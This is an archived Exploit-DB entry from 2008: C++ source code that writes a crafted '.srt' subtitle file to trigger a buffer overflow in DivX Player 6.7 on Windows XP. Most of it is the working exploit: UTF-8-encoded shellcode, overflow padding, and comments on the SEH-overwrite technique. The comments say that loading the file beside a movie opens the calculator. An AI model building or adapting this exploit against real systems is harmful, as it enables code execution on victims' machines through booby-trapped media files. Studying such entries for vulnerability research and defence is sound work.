Exploit-DB #5492
Description: DivX Player 6.7 - '.srt' File Subtitle Parsing Buffer Overflow
Type: local
Platform: windows
Date: 2008-04-24
Author: lhoang8500

Exploit:
// Exploit.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
/***********************************************************************
 DivX Player <=6.7 srt subtitle parsing exploit                         
 Coded by lhoang8500@gmail.com
 Tested on Windows XP SP2 + DivX Player 6.7.0

 Credit to securfrog  for his PoC

	Actually this exploit is not relevant to DivX 6.6.0 exploit already posted in milw0rm,since the
technique is quite different and that exploit is no use for DivX 6.7
	One of the biggest problem is shellcode being converted to unicode (so it has unwanted null byte )
 also the return address,or seh handler has the null byte too
	Another quite touch problem is address of SEH structure(at FS:[0]) is rewritten at the end of the routine
(with some address stored in the stack which already overwritten) so that 
ollydbg will have no chance to catch any exception before the program terminated by the system
	I've tried srt with ANSI code page with no success(just crash),Unicode is either,DivX does not even recognize
Unicode subtitle either.The last resort is UTF8,all payload,addresses is encoded in UTF8 format,so DivX will convert to unicode
at runtine,hence.To modified this exploit,u have to convert to unicode format,fix the address and convert back to UTF8

	To exploit this,rename output file with the same name of the movie and load it in DivX Player.
	and the Calculator will be opened

***********************************************************************/

unsigned char Header[38] =
{
	0xEF, 0xBB, 0xBF, 0x31, 0x20, 0x0D, 0x0A, 0x30, 0x30, 0x3A, 0x30, 0x30, 0x3A, 0x30, 0x31, 0x2C, 
	0x30, 0x30, 0x31, 0x20, 0x2D, 0x2D, 0x3E, 0x20, 0x30, 0x30, 0x3A, 0x30, 0x30, 0x3A, 0x30, 0x32, 
	0x2C, 0x30, 0x30, 0x31, 0x0D, 0x0A, 
} ;
unsigned char ShellCode[319] =
{
	0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 
	0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 
	0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 
	0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 
	0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 
	0x40, 0xEC, 0xB3, 0x9A, 0xE7, 0x82, 0xBA, 0xE1, 0x88, 0xA3, 0xE2, 0xAD, 0xBC, 0xEB, 0x87, 0x89, 
	0xED, 0xA4, 0xA3, 0xE2, 0x91, 0xB4, 0xE5, 0xBF, 0xB4, 0xE5, 0x9C, 0xB1, 0xCC, 0x97, 0xE1, 0x9D, 
	0x97, 0xEB, 0x9E, 0x83, 0xEF, 0x80, 0xA7, 0xEC, 0xAE, 0x89, 0xEB, 0x83, 0x80, 0xE3, 0x8D, 0xB1, 
	0xEB, 0x88, 0x91, 0xE0, 0xBC, 0xB7, 0xEB, 0xA2, 0x9A, 0xE1, 0x9E, 0xB2, 0xEA, 0xBE, 0x9D, 0xEA, 
	0xA0, 0xB6, 0xEA, 0x92, 0x85, 0xE1, 0x98, 0x96, 0xE5, 0x86, 0xB7, 0xED, 0xB7, 0xA1, 0xE2, 0xBA, 
	0x83, 0xE0, 0xBF, 0xB3, 0xEF, 0x83, 0x9A, 0xE6, 0x8D, 0xAD, 0xE3, 0x86, 0x99, 0xE7, 0xB3, 0xB9, 
	0xE7, 0xAD, 0xA3, 0xE8, 0x8C, 0x8F, 0xE9, 0x9E, 0xA1, 0xEB, 0xA3, 0xA4, 0xE4, 0xB1, 0xB1, 0xEC, 
	0xAC, 0x81, 0xDE, 0x9C, 0xE1, 0x9D, 0x96, 0xEF, 0x8D, 0x9E, 0xED, 0xB0, 0x8F, 0xE4, 0xA1, 0xAC, 
	0xEB, 0xB5, 0x9B, 0xE4, 0xBD, 0xB0, 0xEC, 0xAA, 0xB0, 0xEC, 0x92, 0x95, 0xE2, 0x9D, 0x87, 0xE8, 
	0x98, 0xAC, 0xEB, 0x8D, 0xA3, 0xDB, 0xAC, 0xED, 0xBE, 0xAC, 0xE2, 0xA1, 0xB9, 0xE9, 0xA8, 0x9C, 
	0xED, 0x86, 0xBE, 0xE2, 0xBD, 0x90, 0xE2, 0xB9, 0xBE, 0xE5, 0xBF, 0xA2, 0xE8, 0x8D, 0xA3, 0xEF, 
	0x9D, 0xBF, 0xE3, 0x82, 0x93, 0xE8, 0xB1, 0xB6, 0xE7, 0x98, 0xA4, 0xE9, 0x8A, 0x89, 0xEF, 0xB0, 
	0xA4, 0xEA, 0xBB, 0xA2, 0xE3, 0x8D, 0xBB, 0xEA, 0xB8, 0x85, 0xEB, 0xAB, 0x95, 0xEA, 0xB4, 0x91, 
	0xEC, 0x9C, 0x9A, 0xED, 0xA6, 0xB1, 0xEE, 0x83, 0xA4, 0xE6, 0xAB, 0x90, 0xE8, 0xA5, 0xB1, 0xDB, 
	0xAB, 0xEF, 0xBA, 0x8F, 0xEF, 0x87, 0xAC, 0xE6, 0x87, 0xB3, 0xE9, 0xB9, 0xBF, 0xC3, 0xB3, 
} ;

int _tmain(int argc, _TCHAR* argv[])
{
	FILE * file;
	char c='A';
	file=fopen("divx67eVil.srt","w+b");
	if (file==NULL)
	{
		printf("File I/O error");
		return 0;
	}
	fwrite(Header,1,sizeof(Header),file);
	for (int i=0;i<0x402;i++) fwrite(&c,1,1,file);
	fwrite(ShellCode,1,sizeof(ShellCode),file);
	for (int i=0;i<4096000;i++) fwrite(&c,1,1,file);
	fclose(file);
	printf("Done...eVil is in divx67eVil.srt");
	printf("Load it in DivX Player 6.7 with some movie en enjoy");
	return 0;
}

// milw0rm.com [2008-04-24]